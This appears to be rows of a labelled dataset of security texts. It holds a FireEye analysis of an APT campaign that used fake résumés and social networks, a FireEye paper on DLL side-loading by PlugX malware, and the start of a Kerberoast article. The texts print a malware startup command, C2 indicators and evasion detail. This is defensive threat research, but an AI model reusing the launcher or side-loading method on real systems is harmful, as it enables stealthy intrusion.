Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research June 2014 Threat Research Blog Posts Clandestine Fox, Part Deux Threat Research Clandestine Fox, Part Deux June 10, 2014 | by Mike Scott Clandestine Fox Social Engineering Social Media Social Networks Advanced Targeted Attack We reported at the end of April and the beginning of May on an APT threat group leveraging a zero-day vulnerability in Internet Explorer via phishing email attacks. While Microsoft quickly released a patch to help close the door on future compromises, we have now observed the threat actors behind \xe2\x80\x9cOperation Clandestine Fox\xe2\x80\x9d shifting their point of attack and using a new vector to target their victims: social networking. An employee of a company in the energy sector recently received an email with a RAR archive email attachment from a candidate. The attachment, ostensibly containing a resume and sample software program the applicant had written, was from someone we\xe2\x80\x99ll call \xe2\x80\x9cEmily\xe2\x80\x9d who had previously contacted the actual employee via a popular social network. FireEye acquired a copy of the suspicious email \xe2\x80\x93 shown below in Figure 1 \xe2\x80\x93 and attachment from the targeted employee and investigated. The targeted employee confirmed that \xe2\x80\x9cEmily\xe2\x80\x9d had contacted him via the popular social network, and that, after three weeks of back and forth messaging \xe2\x80\x9cshe\xe2\x80\x9d sent her \xe2\x80\x9cresume\xe2\x80\x9d to his personal email address. \xc2 [caption id=""attachment_5658"" align=""aligncenter"" width=""441""] Figure 1: Sample email illustrating how \xe2\x80\x9cEmily\xe2\x80\x9d attacks a victim employee[/caption] Working our way backwards, we reviewed \xe2\x80\x9cEmily\xe2\x80\x99s\xe2\x80\x9d social network profile and noticed a few strange aspects that raised some red flags. For example, \xe2\x80\x9cher\xe2\x80\x9d list of contacts had a number of people from the victim\xe2\x80\x99s same employer, as well as employees from other energy companies; \xe2\x80\x9cshe\xe2\x80\x9d also did not seem to have many other \xe2\x80\x9cfriends\xe2\x80\x9d that fit \xe2\x80\x9cher\xe2\x80\x9d alleged persona. \xe2\x80\x9cHer\xe2\x80\x9d education history also contained some fake entries. Further research and discussions with the targeted company revealed that \xe2\x80\x9cEmily,\xe2\x80\x9d posing as a prospective employee, had also contacted other personnel at the same company. She had asked a variety of probing questions, including inquiring who the IT Manager was and what versions of software they ran \xe2\x80\x93 all information that would be very useful for an attacker looking to craft an attack. It\xe2\x80\x99s worth emphasizing that in the instances above, the attackers used a combination of direct contact via social networks as well as contact via email, to communicate with their intended targets and send malicious attachments. In addition, in almost all cases, the attackers used the target\xe2\x80\x99s personal email address, rather than his or her work address. This could be by design, with a view toward circumventing the more comprehensive email security technologies that most companies have deployed, or also due to many people having their social network accounts linked to their personal rather than work email addresses. Details - Email Attachment #1 The resume.rar archive contained three files: a weaponized version of the open-source TTCalc application (a mathematical big number calculator), a benign text copy of the TTCalc readme file, and a benign PDF of Emily\xe2\x80\x99s resume. The resume was a nearly identical copy of a sample resume available elsewhere on the Internet.\xc2 The file details are below. Filename MD5 Hash resume.rar resume.rar 8b42a80b2df48245e45f99c1bdc2ce51 8b42a80b2df48245e45f99c1bdc2ce51 readme.txt readme.txt 8c6dba68a014f5437c36583bbce0b7a4 8c6dba68a014f5437c36583bbce0b7a4 resume.pdf resume.pdf ee2328b76c54dc356d864c8e9d05c954 ee2328b76c54dc356d864c8e9d05c954 ttcalc.exe ttcalc.exe e6459971f63612c43321ffb4849339a2 e6459971f63612c43321ffb4849339a2 Upon execution, ttcalc.exe drops the two files listed below, and also launches a legitimate copy of TTCalc v0.8.6 as a decoy: %USERPROFILE%/Application Data/mt.dat %USERPROFILE%/Start Menu/Programs/Startup/vc.bat The file mt.dat is the actual malware executable, which we detect as Backdoor.APT.CookieCutter. (Variants of this family of backdoor are also referred to as \xe2\x80\x9cPirpi\xe2\x80\x9d in the security industry). In this case, the malware was configured to use the following remote servers for command and control: \xc2 swe[.]karasoyemlak[.]com inform[.]bedircati[.]com (Note: This domain was also used during Operation Clandestine Fox) 122.49.215.108 Metadata for mt.dat: Description MD5 Hash md5 md5 1a4b710621ef2e69b1f7790ae9b7a288 1a4b710621ef2e69b1f7790ae9b7a288 .text .text 917c92e8662faf96fffb8ffe7b7c80fb 917c92e8662faf96fffb8ffe7b7c80fb .rdata .rdata 975b458cb80395fa32c9dda759cb3f7b 975b458cb80395fa32c9dda759cb3f7b .data .data 3ed34de8609cd274e49bbd795f21acc4 3ed34de8609cd274e49bbd795f21acc4 .rsrc .rsrc b1a55ec420dd6d24ff9e762c7b753868 b1a55ec420dd6d24ff9e762c7b753868 .reloc .reloc afd753a42036000ad476dcd81b56b754 afd753a42036000ad476dcd81b56b754 Import Hash Import Hash fad20abf8aa4eda0802504d806280dd7 fad20abf8aa4eda0802504d806280dd7 Compile date Compile date 2014-05-27 15:48:13 2014-05-27 15:48:13 Contents of vc.bat: \xc2 @echo offcmd.exe /C start rundll32.exe ""C:\\Documents and Settings\\admin\\Application Data\\mt.dat"" UpdvaMt Details - Email Attachment #2 Through additional research, we were able to obtain another RAR archive email attachment sent by the same attackers to an employee of another company. Note that while there are a lot of similarities, such as the fake resume and inclusion of TTCalc, there is one major difference, which is the delivery of a completely different malware backdoor. The attachment name this time was \xe2\x80\x9cmy resume and projects.rar,\xe2\x80\x9d but this time it was protected with the password \xe2\x80\x9cTTcalc.\xe2\x80\x9d Filename MD5 Hash my resume and projects.rar my resume and projects.rar ab621059de2d1c92c3e7514e4b51751a ab621059de2d1c92c3e7514e4b51751a SETUP.exe SETUP.exe 510b77a4b075f09202209f989582dbea 510b77a4b075f09202209f989582dbea my resume.pdf my resume.pdf d1b1abfcc2d547e1ea1a4bb82294b9a3 d1b1abfcc2d547e1ea1a4bb82294b9a3 SETUP.exe is a self-extracting RAR, which opens the WinRAR window when executed, prompting the user for the location to extract the files. It writes them to a TTCalc folder and tries to launch ttcalcBAK.exe (the malware dropper), but the path is incorrect so it fails with an error message. All of the other files are benign and related to the legitimate TTCalc application. Filename MD5 Hash CHANGELOG CHANGELOG 4692337bf7584f6bda464b9a76d268c1 4692337bf7584f6bda464b9a76d268c1 COPYRIGHT COPYRIGHT 7cae5757f3ba9fef0a22ca0d56188439 7cae5757f3ba9fef0a22ca0d56188439 README README 1a7ba923c6aa39cc9cb289a17599fce0 1a7ba923c6aa39cc9cb289a17599fce0 ttcalc.chm ttcalc.chm f86db1905b3f4447eb5728859f9057b5 f86db1905b3f4447eb5728859f9057b5 ttcalc.exe ttcalc.exe 37c6d1d3054e554e13d40ea42458ebed 37c6d1d3054e554e13d40ea42458ebed ttcalcBAK.exe ttcalcBAK.exe 3e7430a09a44c0d1000f76c3adc6f4fa 3e7430a09a44c0d1000f76c3adc6f4fa The file ttcalcBAK.exe is also a self-extracting Rar which drops and launches chrome_frame_helper, which is a Backdoor.APT.Kaba (aka PlugX/Sogu) backdoor using a legitimate Chrome executable to load the malicious DLL via side-loading. Although this backdoor is used by multiple threat groups and is quite commonly seen these days, this is the first time we've observed this particular threat group using this family of malware. The malware was configured to communicate to the command and control domain www[.]walterclean[.]com (72.52.83.195 at the time of discovery) using the binary TCP protocol only. The file details are below, followed by the malware configuration. Filename MD5 Hash chrome_frame_helper.dll chrome_frame_helper.dll 98eb249e4ddc4897b8be6fe838051af7 98eb249e4ddc4897b8be6fe838051af7 chrome_frame_helper.dll.hlp chrome_frame_helper.dll.hlp 1b57a7fad852b1d686c72e96f7837b44 1b57a7fad852b1d686c72e96f7837b44 chrome_frame_helper.exe chrome_frame_helper.exe ffb84b8561e49a8db60e0001f630831f ffb84b8561e49a8db60e0001f630831f \xc2 Metadata MD5 Hash chrome_frame_helper.dll chrome_frame_helper.dll 98eb249e4ddc4897b8be6fe838051af7 98eb249e4ddc4897b8be6fe838051af7 .text .text dfb4025352a80c2d81b84b37ef00bcd0 dfb4025352a80c2d81b84b37ef00bcd0 .rdata .rdata 4457e89f4aec692d8507378694e0a3ba 4457e89f4aec692d8507378694e0a3ba .data .data 48de562acb62b469480b8e29821f33b8 48de562acb62b469480b8e29821f33b8 .reloc .reloc 7a7eed9f2d1807f55a9308e21d81cccd 7a7eed9f2d1807f55a9308e21d81cccd Import hash Import hash 6817b29e9832d8fd85dcbe4af176efb6 6817b29e9832d8fd85dcbe4af176efb6 Compile date Compile date 2014-03-22 11:08:34 2014-03-22 11:08:34 Backdoor.APT.Kaba Malware Configuration: PlugX Config (0x150c bytes): Flags: False True False False False False True True True True False Timer 1: 60 secs Timer 2: 60 secs C&C Address: www[.]walterclean[.]com:443 (TCP) Install Dir: %ALLUSERSPROFILE%\\chrome_frame_helper Service Name: chrome_frame_helper Service Disp: chrome_frame_helper Service Desc: Windows chrome_frame_helper Services Online Pass: 1234 Memo: 1234 Open Source Intel The domain walterclean[.]com shares registration details with securitywap[.]com: The following domains are registered to QQ360LEE@126.COM Domain: walterclean[.]com Create Date: 2014-03-26 00:00:00 Registrar: ENOM, INC. Domain: securitywap[.]com Create Date: 2014-03-26 00:00:00 Registrar: ENOM, INC. Conclusion In short, we attributed these attacks to the same threat actor responsible for \xe2\x80\x9cOperation Clandestine Fox,\xe2\x80\x9d based on the following linkages: The first-stage malware (mt.dat) is a slightly updated version of the Backdoor.APT.CookieCutter malware dropped during Operation Clandestine Fox Based on our intel, Backdoor.APT.CookieCutter has been used exclusively by this particular threat group Finally, the command and control domain inform[.]bedircati[.]com seen in this activity was also used during the Clandestine Fox campaign Another evolutionary step for this threat group is that they have diversified their tool usage with the use of the Kaba/PlugX/Sogu malware \xe2\x80\x93 something we have never seen them do before. As we have noted in other blog posts, APT threat actors take advantage of every possible vector to try to gain a foothold in the organizations they target. Social networks are increasingly used for both personal and business reasons, and are one more potential threat vector that both end-users and network defenders need to think about. Unfortunately, it is very common for users to let their guard down when using social networks or personal email, since they don\xe2\x80\x99t always treat these services with the same level of risk as their work email.\xc2 As more companies allow their employees to telecommute, or even allow them to access company networks and/or resources using their personal computers, these attacks targeting their personal email addresses pose significant risk to the enterprise. Acknowledgements \xc2 The author would like to acknowledge the following colleagues for their contributions to this report: Josh Dennis, Mike Oppenheim, Ned Moran, and Joshua Homan. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry SECURITY REIMAGINED REPORT DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry Author: Amanda Stewart 2 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry CONTENTS Abstract ............................................................................................................................................................................................................................................................................................................................................................... 3 DLL Side-loading Explained .............................................................................................................................................................................................................................................................................. 3 WinSxS detailed ................................................................................................................................................................................................................................................................................................................. 3 What This All Means For DLL Side-loading ............................................................................................................................................................................................................5 Malware volume ............................................................................................................................................................................................................................................................................................................... 5 Malware detection ...................................................................................................................................................................................................................................................................................................... 5 The long-tail theory of malware distribution .............................................................................................................................................................................................6 PlugX and DLL Side-loading ............................................................................................................................................................................................................................................................................. 7 How to Recognize DLL Side-loading Vulnerability ............................................................................................................................................................................8 Samples exhibiting similar behavior .................................................................................................................................................................................................................................9 Recommendations .............................................................................................................................................................................................................................................................................................................. 10 Software developer............................................................................................................................................................................................................................................................................................. 10 QA analyst .................................................................................................................................................................................................................................................................................................................................. 11 Endpoint user .................................................................................................................................................................................................................................................................................................................... 11 Call To Action .................................................................................................................................................................................................................................................................................................................................. 11 About FireEye, Inc............................................................................................................................................................................................................................................................................................................... 11 3 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry DLL Side-loading Explained Windows, like many operating systems, allows applications to load DLLs at runtime. Applications can specify the location of DLLs to load by specifying a full path, using DLL redirection, or by using a manifest. If none of these methods are used, Windows attempts to locate the DLL by searching a predefined set of directories in a set order.1 Cyber attackers have long abused this search feature by placing a malicious DLL in one of these directories. In these attacks, Windows reaches and loads the malicious DLL before finding the Abstract Dynamic-link library (DLL) side-loading is an increasingly popular cyber attack method that takes advantage of how Microsoft Windows applications handle DLL files. In such attacks, malware places a spoofed malicious DLL file in a Windows\xe2\x80\x99 WinSxS directory so that the operating system loads it instead of the legitimate file. This paper describes the history of DLL Side- loading and its role in the malware and software engineering arenas. It also examines evolving trends along with similarities and differences between DLL Search-Order Hijacking, DLL- Hijacking, DLL pre-loading, and DLL side-loading. A technical analysis of the Trojan PlugX variant used to target Chinese political rights activists shows the DLL-side-loading technique in action. Finally, the paper recommends preventative measures to ensure that legitimate files are not exploited. 1 Microsoft. \xe2\x80\x9cDynamic-Link Library Security.\xe2\x80\x9d 2 National Vulnerability Database. \xe2\x80\x9cVulnerability Summary for CVE-2000-0854.\xe2\x80\x9d September 2008. 3 Amanda Stewart. \xe2\x80\x9cTargeted Attack Trend Alert: PlugX the Old Dog With a New Trick.\xe2\x80\x9d May 2013. 4 Gabor Szappanos. \xe2\x80\x9cTargeted malware attack piggybacks on Nvidia digital signature.\xe2\x80\x9d February 2013. 5 Abraham Camba. \xe2\x80\x9cUnplugging PlugX Capabilities.\xe2\x80\x9d September 2013. legitimateversion. The earliest such attacks (such as those exploiting CVE-2000-0854) appeared as early as 2000.2 A less common variant of this technique called DLL side-loading has been trending in recent attacks.3,4,5 DLL side-loading takes advantage of Windows\xe2\x80\x99 side-by-side (SxS or WinSxS) assembly feature, which helps manage conflicting and duplicate DLL versions by loading them on demand from a common directory. Traditionally, search-order hijacking attacks utilize an executable file\xe2\x80\x99s DLL search path to load spoofed DLLs through the known DLLs record. This record comprises a list of known DLLs on the current system, stored in the following registry key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\ Control\\Session Manager\\KnownDLLs. DLL side-loading, in contrast, utilizes the WinSxS assembly to load the malicious DLL from the SxS listing, which is located in the following registry key: %TEMP%\\RarSFX%\\%ALLUSERS PROFILE%\\SXS\\ or %TEMP%\\RarSFX%\\%ALLUSERS PROFILE%\\WinSxS\\ WinSxS detailed WinSxS mainfests, which are embedded in the executable as XML data, describe dependencies and libraries used by the application. The manifests contain the resource and library metadata. WinSxS is designed to give developers flexibility to update binaries by easily replacing the old binaries in the same location. 4 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry Figure 1: Representation of typical side-by-side assembly6 Benefits of WinSxS include the following: \xe2\x80\xa2 Reduces the possibility of DLL version conflicts \xe2\x80\xa2 Enables sharing of multiple versions of COM or Windows assemblies to run simultaneously \xe2\x80\xa2 Updates assembly configuration on either a global or per-application configuration basis after deployment 6 Microsoft. \xe2\x80\x9cSide-by-side Assemblies.\xe2\x80\x9d July 2010. The problem with this technique is that it offers little to no validation of the loaded DLL other than what is explicit in the manifest\xe2\x80\x99s DLL metadata (see Figure 2). This omission may inadvertently grant trusted installer privileges to malicious payloads. Figure 2: Search for DLL within the executable run path A.dll B.dll B.dllB.d A.dll B_2.dll B.dll A.dll My_EXE.exe My_EXE.exe My_EXE.exe Not Much Validation Runtime Package New Version Updated Package 1 2 3 New 5 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry 7 Sophos. \xe2\x80\x9cYear in Review: 2011.\xe2\x80\x9d December 2011. What This All Means For Dll Side-loading When polymorphic malicious payloads are delivered with legitimate executables, endpoints face greater risks. With WinSxS, malware can bypass anti-virus scanners for a longer period. This dynamic has several implications for the volume, detection, and variety of malware deployed by threat actors worldwide. Malware volume Security professionals\xe2\x80\x99 main challenge can be summed up with a simple question: How can we tackle clusters of malware quickly? Malware is mushrooming. According to one study, the volume of malware samples in the wild has grown 60 percent since 2010.7 Even as the number of unique malware samples rises, they are growing more difficult to detect. Anti-detection techniques such as binary packing, compression, encryption, compiler variation, and polymorphism have made malware harder to identify. To keep up with these dual challenges, anti-virus vendors mix automated and manual techniques to generate new malware signatures. Malware detection Most signature creation and detection techniques fall into one of the following categories: \xe2\x80\xa2 Basic whole-file hash generation. The most common signature-creation technique involves generating a basic hash value for the file as a whole. This technique uses whole-file hashes to create blacklists and whitelists. (One such example is the NSRL database, which contains hashes of wellknown legitimate binaries.) AV products then compare the hash values of questionable files against these lists to identify them as malicious or benign. \xe2\x80\xa2 Section-based hashes. The second signature- creation technique splits the binary into sections and generates hash signatures for each section. A common example is portable executable (PE) sections, in which hash values are generated from the binary\xe2\x80\x99s PE sections (such as .text, .rdata, and data) and size. \xe2\x80\xa2 Code-section hashes. The third-most common technique involves hash values based on code sections of the malware sample. All three of these static signature-generation techniques can be used in automation or manual analysis. Regardless of which technique comes into play, signature-based detection is quickly reaching its practical limits when it comes to the central challenge of finding malware clusters quickly. To understand why, consider how security vendors generate malware signature. Signature generation starts with sample origin. This sample origin can be a specific malware family or previously seen malicious code that has spawned the need for the signature. Attackers\xe2\x80\x99 anti-detection techniques (such as code-morphing) can generate a large volume of unique binary samples from the same malware family\xe2\x80\x94each with a unique hash value. Because signature matching is limited to specific hash 6 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry Figure 3: Sample distribution. samples, timely detection becomes less and less possible for as the volume o f newly introduced unique samples grows. This increasingly larger volume of unique samples also becomes more difficult to cluster based on static techniques because of a phenomenon known as the long-tail theory. The long-tail theory of malware distribution The long-tail theory describes the unique distribution of occurrences. Applied to malware, the theory explains why many samples may only appear once and never occur again. The PlugX family of malware, which uses DLL side-loading techniques to infect target machines, demonstrates the long-tail theory in action. Figure 3 shows a collection of unique PlugX related samples discovered within the last year. Of those samples, only 46 percent were uploaded to VirusTotal. While this example represents a very small sampling, the long-tail phenomenon has held true in broader FireEye detection statistics. 309 Unique Samples Nu m be r o f S ou rc es 16 14 12 10 8 6 4 2 0 7 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry PlugX And DLL side-loading In 2013, FireEye Labs discovered a spear- phishing attack targeting Chinese political rights activists. This email contained an attachment exploiting a vulnerability in Windows ActiveX controls (CVE-2012-0158) to drop several binaries that appear benign in isolation but combine to form a malicious executable. In Figure 4, the green highlighted icon represents the seemingly benign executable that contains the DLL side-loading vulnerability. OINFO11.exe (hash value: a31cad2960a660cb558b32ba7238b49e) originated from an Office 2003 Service Pack 2 update. In this attack, this sample loads a spoofed DLL component (Oinfo11.ocx). When Oinfo.ocx is loaded into memory, it loads, decompresses, and decodes a secondary component (OInfo. ISO). These two malicious payloads combine to form the DLL that exists only in the benign executable\xe2\x80\x99s memory. This distinction is crucial\xe2\x80\x94OINFO11. exe\xe2\x80\x99s hash value is listed in the National Software Reference Library (NSRL) database, which means it is listed in a publicly used binary whitelist. OINFO11.exe (hash value: 31cad2960a660cb558b32ba7238b49e) originated from an Office 2003 Service Pack 2 update. In this attack, this sample loads a spoofed DLL component (Oinfo11.ocx). When Oinfo.ocx is loaded into memory, it loads, decompresses, and decodes a secondary component (OInfo.ISO). These two malicious payloads combine to form the DLL that exists only in the benign executable\xe2\x80\x99s memory. This distinction is crucial\xe2\x80\x94OINFO11. exe\xe2\x80\x99s hash value is listed in the National Software Reference Library (NSRL) database, which means it is listed in a publicly used binary whitelist. Figure 4: PlugX targeted attack INFILTRATION DROPS PAYLOAD DECOY ENTRENCHMENT + X XX OCX IN MEMORY = DLL Same directory Extracts Createsews.exe OINFOP11.EXE Oinfo11.ocx LOADS, DECOMPRESSES, DECRYPTS NvSmart.hip Oinfo11.ISO msiexec.exe svchost.exe KEYLOGGER FILE INJECT RETRIEVE NEW PLUGINS [1-127].plg 202.69.69.41;90 Victim LOADS 8 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry Figure 5: PlugX flow Figure 6: DLL Exports for OINFO11.exe How To Recognize DLL Side-loading Vulnerability Security professionals have several methods of examine software for the DLL side-loading vulnerability. This section explains the fastest and easiest method: validating the DLL imports. Runs OInfoP11.exe Combines files in memory Executes malicious payload System shutdown Passes virus scan Some anti-virus software may utilize this database to ignore benign executables and reduce false positives. Because the malicious payload exists only in memory, the sample is not detected or removed, and the attack persists (see Figure 5). Figure 6 shows the OINFO11.exe DLL import table, which includes the functions GetOfficeData and DeleteOfficeData. Any file that is loaded from the side-by-side directory and adjacent to the primary executable should be validated for these functions. Usually, executables using the side-by-side feature will have these resources located in the embedded manifest file. Validating the file and functions must involve more than simply checking for the correct filename and functions names. 9 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry Figure 7: Original exported function Figure 8: Spoofed exported function Table 1: Files commonly used in PlugX attacks Take OINFO11.exe, for example. Compare the functions of the original supplementary file Oinfo11.ocx and a spoofed version. Figure 7 shows the original assembly for GetOfficeData. In the spoofed version (Figure 8), the same function does nothing. Samples exhibiting similar behavior Table 1 lists executables from large corporations that have been used in APT PlugX attacks that occurred before the OINFO11.exe attacks. Attacks that use these files do not always mirror the DLL-side-loading methods exactly, but the concept is the same Filename MD5Sum Detail mcvsmap.exe 4e1e0b8b0673937415599bf2f24c44ad McAfee NvSmart.exe 09b8b54f78a10c435cd319070aa13c28 NVIDIA Corporation RASTLS.EXE 62944e26b36b1dcace429ae26ba66164 Symantec Corporation 10 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry Recommendations Developers, quality assurance analysts, and endpoint users can help prevent or mitigate DLL-side-loading attacks in a number of ways. Software developer For the software developer, FireEye recommends the following mitigation techniques when loading updated DLLs for packaging: \xe2\x80\xa2 Ensure that the full path is hardcoded. Avoid using relative paths for any resources. \xe2\x80\xa2 Confirm that the imported DLL actually exists. \xe2\x80\xa2 Ensure that imported functions are valid. As noted from the PlugX sample, the spoofed function was simply empty. \xe2\x80\xa2 Ensure that the operating system is correct. \xe2\x80\xa2 Utilize DLL redirection or a manifest. Recent versions of Visual Studio enable developers to create manifests to ensure that the loaded library is valid. Here is an example of this manifest file: 8 Microsoft. \xe2\x80\x9cSetDllDirectory function.\xe2\x80\x9d The file name DirComp.dll is accompanied with a hash for validation. This may seem a simple concept, but it can provide a minimum check on DLL validation. \xe2\x80\xa2 Call SetDllDirectory with an empty string. Recommended by Microsoft, keeping the string parameter empty disables the safe DLL search mode and prevents automatic DLL loads by API calls to LoadLibrary.8 11 www.fireeye.com DLL Side-loading: A Thorn in the Side of the Anti-Virus Industry About FireEye FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks. These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways. The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors and across the different stages of an attack life cycle. The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time. FireEye has over 1,500 customers across more than 40 countries, including over 100 of the Fortune 500. FireEye, Inc. | 1440 McCarthy Blvd. Milpitas, CA 95035 | 408.321.6300 | 877.FIREEYE (347.3393) | info@fireeye.com | www.fireeye.com \xc2\xa9 2014 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. RPT.DLL.EN-US.082014 QA analyst Quality-assurance analysts can use any of the tools listed in Table 2 to check the DLL imports of executables. Endpoint user FireEye advises endpoint users to ensure that all validated and clean applications are installed in administrator-protected directories. This step restricts write and execute permissions to user folders and implements least-privilege access. Call To Action Software publishers must remain alert to any DLL-side-loading vulnerabilities in their products. Staying aware of this potential attack vector and heeding the recommendations outlined in the previous section can help reduce opportunities for malware authors to use them for hard-to- detect malware. PE explorer http://www.heaventools.com/overview.htm Dependency Walker http://www.dependencywalker.com/ SxStrace.exe (Found in MS Vista) Validate manifests and DLL tracing Table 2: DLL import validation tools mailto:info%40fireeye.com?subject= http://www.fireeye.com","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Cracking Kerberos TGS Tickets Using Kerberoast \xe2\x80\x93 Exploiting Kerberos to Compromise the Active Directory Domain \xe2\x80\x93 Active Directory Security Toggle search form Toggle navigation Active Directory Security Active Directory & Enterprise Security, Methods to Secure Active Directory, Attack Methods & Effective Defenses, PowerShell, Tech Notes, & Geek Trivia\xe2\x80\xa6 Home About AD Resources Attack Defense & Detection Contact Mimikatz Presentations Schema Versions Security Resources SPNs Top Posts Finding Passwords in SYSVOL & Exploiting Group Policy Preferences Attack Methods for Gaining Domain Admin Rights in Active Directory Dec 31 2015 Cracking Kerberos TGS Tickets Using Kerberoast \xe2\x80\x93 Exploiting Kerberos to Compromise the Active Directory Domain By Sean Metcalf in ActiveDirectorySecurity, Microsoft Security, Technical Reference Microsoft\xe2\x80\x99s Kerberos implementation in Active Directory has been targeted over the past couple of years by security researchers and attackers alike. The issues are primarily related to the legacy support in Kerberos when Active Directory was released in the year 2000 with Windows Server 2000. This legacy support is enabled when using Kerberos RC4 encryption (RC4_HMAC_MD5) since the NTLM password hash is used extensively with this encryption type. There are several Kerberos attacks that take advantage of Microsoft\xe2\x80\x99s legacy support in Active Directory. When Microsoft released Windows 2000 and Active Directory along with it, they needed to support Windows NT and Windows 95 which meant a wide variety of security (and less secure configurations). This support meant that Microsoft needed to support several different clients and enable them to speak Kerberos. The easy way to do this was to use the NTLM password hash as the Kerberos RC4 encryption private key used to encrypt/sign Kerberos tickets. Once the NTLM password hash is discovered, it can be used in a variety of ways, including re-compromising the Active Directory domain (think Golden Tickets & Silver Tickets). RC4 Kerberos encryption is still supported even now, 15 years later. In fact, AES encryption wasn\xe2\x80\x99t available as an option on Windows until Windows Vista and Windows Server 2008. While AES Kerberos encryption is now used by default on the newer operating systems, there may still be significant use of RC4 Kerberos encryption on the network, involving some interesting network devices that have AES Kerberos encryption disabled by default. With the introduction of AES as a Kerberos encryption option, Windows uses AES for hashing which is a break from traditional Windows password hashing methods. This means that while Kerberos RC4 encryption leveraged the NTLM password hash as encryption key, Kerberos AES encryption uses the AES hash to encrypt the Kerberos tickets. (in other words, when AES is the Kerberos encryption Update: Will @harmj0y Schroeder (blog.harmj0y.net) and I spoke at DerbyCon 6 in September, 2016 and demonstrated how Kerberoast works. The slides and video from our talk are now available. The other demos Will did during the talk are here. All of the slides and most videos of my talks are on the Presentations page. This article describes how Service Principal Names work and how to use Kerberoast to crack passwords offline. Will also posted on how to Kerberoast without using Mimikatz. \xc2 Active Directory Kerberos Attacks: There are several different types of Kerberos attacks ranging from recon (SPN Scanning), to offline service account password cracking (Kerberoast), to persistence (Silver & Golden Tickets). Here are the most popular AD Kerberos attacks: SPN Scanning \xe2\x80\x93 finding services by requesting service principal names of a specific SPN class/type. Silver Ticket 